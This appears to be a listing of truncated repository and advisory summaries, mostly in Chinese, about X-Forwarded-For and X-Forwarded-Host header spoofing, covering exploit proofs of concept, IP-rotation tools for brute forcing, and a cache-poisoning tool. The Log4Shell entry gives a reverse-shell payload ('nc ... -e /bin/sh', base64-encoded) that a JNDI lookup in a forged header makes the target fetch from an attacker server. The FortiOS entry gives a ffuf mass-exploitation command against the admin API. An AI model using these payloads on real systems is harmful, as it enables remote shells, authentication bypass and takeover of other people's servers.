EUVD-2026-82433

MapServer is a system for developing web-based GIS applications. From 6.0 until 8.6.4, MapServer's OpenLayers HTML output for SERVICE=WMS&REQUEST=GetMap&FORMAT=application/openlayers reflects an attacker-controlled X-Forwarded-Host value received as HTTPXFORWARDEDHOST through msBuildOnlineResourc...

requests-ip-rotator

自豪地由 Swiftproxy 赞助 高性能住宅代理，拥有 超过 1.8 亿 IP 池，覆盖 195+ 个国家/地区 —— 在大规模数据采集和浏览器自动化过程中提高请求成功率，减少 IP 被封禁。非常适合与 requests-ip-rotator、Playwright、Selenium 及其他爬虫工具搭配使用。 开始免费试用 → requests-ip-rotator 一个 Python 库，利用 AWS API Gateway 庞大的 IP 池作为代理，为网络爬虫和暴力破解生成几乎无限的 IP 地址。 该库允许用户绕过基于 IP 的网站和服务速率限制。 除非指定，否则...

Typecho-Multiple-Vulnerabilities

Typecho 多个漏洞 此仓库包含以下漏洞的利用代码： CVE-2024-35538: Typecho v1.3.0 中存在客户端 IP 欺骗漏洞，恶意行为者可通过在 HTTP 请求中将任意 IP 指定为 "X-Forwarded-For" 或 "Client-Ip" 请求头的值来伪造其 IP 地址。 CVE-2024-35539: Typecho v1.3.0 的文章评论功能中存在竞态条件漏洞，攻击者可在垃圾评论防护检查评论是否发布过于频繁之前发布多条评论。 CVE-2024-35540: Typecho v1.3.0...

CVE-2026-86863

pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.getuser read config.WEBSERVERREMOTEUSER from request.environ and, when that returned...

CVE-2015-3224

Ruby on Rails Web 控制台漏洞利用 CVE-2015-3224 此仓库包含一个 Python 脚本 ，用于利用 Ruby on Rails 4.0.x 和 4.1.x 开发者 Web 控制台中的 IP 白名单绕过漏洞 。该脚本可在易受攻击的服务器上实现 远程代码执行 。 ⚠️ 免责声明 此脚本仅用于教育目的和经授权的安全测试。 请勿 在未经明确许可的情况下在任何系统上使用它。 作者不承担 任何因使用此脚本而导致的滥用或损害责任。 📌 漏洞描述 在易受攻击的 Ruby on Rails 版本中，Web 控制台仅供开发用途，应只能从受信任的 IP 地址访问。然而，由于对...

CVE-2026-72815-poc

CVE-2026-72815: go-chi/chi middleware.RealIP IP 欺骗 PoC English version 概述 本仓库是 go-chi/chi 的 middleware.RealIP 中存在的 IP 欺骗漏洞 CVE-2026-72815 （GHSA-3fxj-6jh8-hvhx）的本地概念验证（PoC）。 存在漏洞的 RealIP middleware 会无条件信任 X-Forwarded-For 的第一个（最左侧）值，并用该值覆盖 http.Request.RemoteAddr。在客户端可以指定 X-Forwarded-For...

Silent-Call

Silent;Call Cisco Unified Communications Manager 15.x 上的预认证远程 root 漏洞 三个 HTTP 请求。零凭据。root 权限。每一通电话现在都归你所有。 攻击链 步骤| 组件| 描述 ---|---|--- 1| Spoofhack| X-Forwarded-For 请求头欺骗绕过 Tomcat Manager 上的 localhost 限制 2| Keyhack| 硬编码凭据（在所有 CUCM 安装上均相同）允许进行 WAR 部署 3| Roothack| 对 gdb 的无密码 sudo 加上攻击者控制的命令文件 → root...

CVE-2026-37432

CVE-2026-37432 位置：Apiutil.java: 107-113 原理：直接信任 X-Forwarded-For 请求头，该头可被伪造以操纵 IP 地址。 利用方式：X-Forwarded-For: 127.0.0.1...

CVE-2022-46169

Cacti | 认证绕过 | 远程代码执行 | CVE-2022-46169 Cacti：Ruby 编写的未认证远程代码执行漏洞利用程序 Cacti Docker 这是一个存在 Cacti RCE 漏洞（CVE-2022-46169）的 Docker 化应用程序。 按照下面的链接运行 Cacti： root@kitploit: https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169 用法 root@kitploit: / | | | / | | \ / | | | | \ | \ / | | | | | | | ...

CVE-2023-4631

CVE ID : CVE-2023-4631 漏洞类型 : IP地址欺骗 描述 : WordPress的DoLogin Security插件在版本3.6及之前版本中存在IP地址欺骗漏洞。这是由于在请求日志记录和登录限制时，对IP地址信息获取位置的限制不足。攻击者可以提供带有不同IP地址的X-Forwarded-For头部，该地址将被记录，并可用于绕过已阻止某个IP地址登录的设置。 复现步骤 : 1. 发送带有x-forwarded-for头部的登录请求，例如 X-Forwarded-For: 8.8.8.8。 2. 在“登录尝试日志”中看到被伪造的IP地址。 参考链接 : 1...

CVE-2015-3224

CVE-2015-3224 利用 - Rails Web 控制台远程代码执行 一个基于 JavaScript（Node.js）实现的 CVE-2015-3224 漏洞利用工具。此工具针对运行存在漏洞版本的 web-console gem 的 Ruby on Rails 应用程序，可实现未经身份验证的远程代码执行（RCE）。 关于漏洞 CVE-2015-3224 允许攻击者绕过 Rails web-console gem 的 IP 白名单保护。 web-console 是一个调试工具，旨在仅在开发期间使用。默认情况下，它将访问限制在 127.0.0.1（本地主机）IP...

CVE-2022-40684-POC

CVE-2022-40684-POC FortiProxy / FortiOS 认证绕过 批量利用 /api/v2/cmdb/system/admin/ "ssh-public-key1": "" root@kitploit: ffuf -c -w hosts.txt -u FUZZ/api/v2/cmdb/system/admin/admin -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="127.0.0.1...

CVE-2025-48799-

CVE-2025-48799 – Apache Tomcat 远程代码执行（PoC） 本仓库包含针对 CVE-2025-48799 的概念验证漏洞利用代码，该漏洞是 Apache Tomcat 9.0.48 中发现的一个远程代码执行漏洞。该缺陷源于 HTTP 头解析器中的整数溢出，可通过精心构造的 X-Forwarded 头触发。 目的 本项目仅用于教育和研究目的。它展示了： 畸形 HTTP 头如何导致内存破坏 构造 shellcode 和计算缓冲区偏移量的技术 在受控环境中利用现实世界中已修复 CVE 的实践示例 工作原理 该漏洞利用程序： 1. 构造一个超大的 X-Forwarded...

fireprox

FireProx 概述 优点 免责声明 维护者 致谢 基本用法 安装 截图 贡献 概述 在进行Web调用时，隐藏或持续轮换源IP地址可能既困难又昂贵。虽然已有一些工具存在了一段时间，但它们要么IP地址数量有限，要么昂贵，要么需要部署大量VPS。FireProx利用AWS API Gateway创建透明代理，每次请求都会轮换源IP地址！使用FireProx创建一个指向目标服务器的代理URL，然后向该代理URL发出Web请求，代理URL将返回目标服务器的响应！ 由以下机构提供： 维护者 关注我的Twitter以获取更多技巧、窍门和工具（或者仅仅是打个招呼）！（Mike Felch -...

transfer.sh

安全警告 通过未认证的 X-Forwarded-For 头欺骗绕过 IP 过滤和 HTTP 认证 transfer.sh 从命令行轻松快速地共享文件。该代码包含服务器和创建您自己实例所需的一切。 Transfer.sh 目前支持 s3（Amazon S3）、gdrive（Google Drive）、storj（Storj）提供商以及本地文件系统（local）。 免责声明 @stefanbenten 恰好是这个仓库的维护者，同时也在仓库中托管了一个知名的公共软件安装实例。 这两个角色是无关的，本仓库不是用来处理任何公共安装实例的请求和问题的。...

CVE-2025-2825-CrushFTP-AuthBypass

🚨 CVE-2025-2825 – CrushFTP 身份验证绕过 🔎 概述 CVE-2025-2825 是一个影响 CrushFTP 的严重身份验证绕过漏洞，CrushFTP 是一款广泛使用的安全文件传输服务器。该漏洞允许远程攻击者通过伪造标头绕过登录身份验证并获得管理员访问权限——诱骗服务器认为请求来自 localhost。 严重性： 严重 CVSS 评分： 9.8 攻击向量： 远程 受影响版本： CrushFTP v10.6.0 修复版本： v10.6.0 及以上 状态： 正被野外积极利用 🧠 技术细节 该漏洞源于对 X-Forwarded-For 标头的验证不当。当此标头设置为...

CVE-2024-35584

CVE-2024-35584 OpenSIS 认证 SQL 注入 描述 Ajax.php、ForWindow.php、ForExport.php、Modules.php、functions/HackingLogFnc.php 中存在 SQL 注入漏洞。该漏洞影响 OpenSis Community Edition 9.1 至 8.0，以及可能更低的版本。 概念验证 以 Ajax.php 为例，可以看到当检测到恶意活动时，IP 可以被记录并插入数据库。需要注意的一点是，如果发送了“X-Forwarded-For”头，应用程序将使用该值而不是 $SERVER'REMOTEADDR' 的值。由...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh 转换为Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念验证 Log4j 概念验证 关注 Youtube Twitter...

fockcache

fockcache FockCache - 最小化されたテストキャッシュポイズニング キャッシュポイズニングの詳細 : https://portswigger.net/research/practical-web-cache-poisoning FockCache FockCacheは、Webページに対してX-Forwarded-HostおよびX-Forwarded-Schemeヘッダーを試すことでキャッシュポイズニングを行います。 成功した結果の後、ポイズニングされたURLを提供します。 近日追加予定: 1 - ページパラメータチェッカー 2 - 再帰的チェック インストール 1 -...

CVE-2024-41276

CVE-2024-41276（Kaiten 认证绕过） Kaiten —— 一个工作流管理系统。 Kaiten 中的一个漏洞允许攻击者绕过 PIN 码认证机制。该应用要求用户在输入登录凭证后，输入发送到其邮箱的6位 PIN 码进行授权。然而，请求限制机制可以被轻松绕过，使得攻击者能够进行暴力破解攻击，猜出正确的 PIN 码并未经授权访问应用。 详细信息： 认证机制使用发送到邮箱的单因素，没有任何密码 : 通过使用 X-Forwarded-For 头可以绕过速率限制，该头允许 X-RateLimit-Remaining 计数器重置。 这种方法使得可以持续发送请求而不收到 HTTP 429...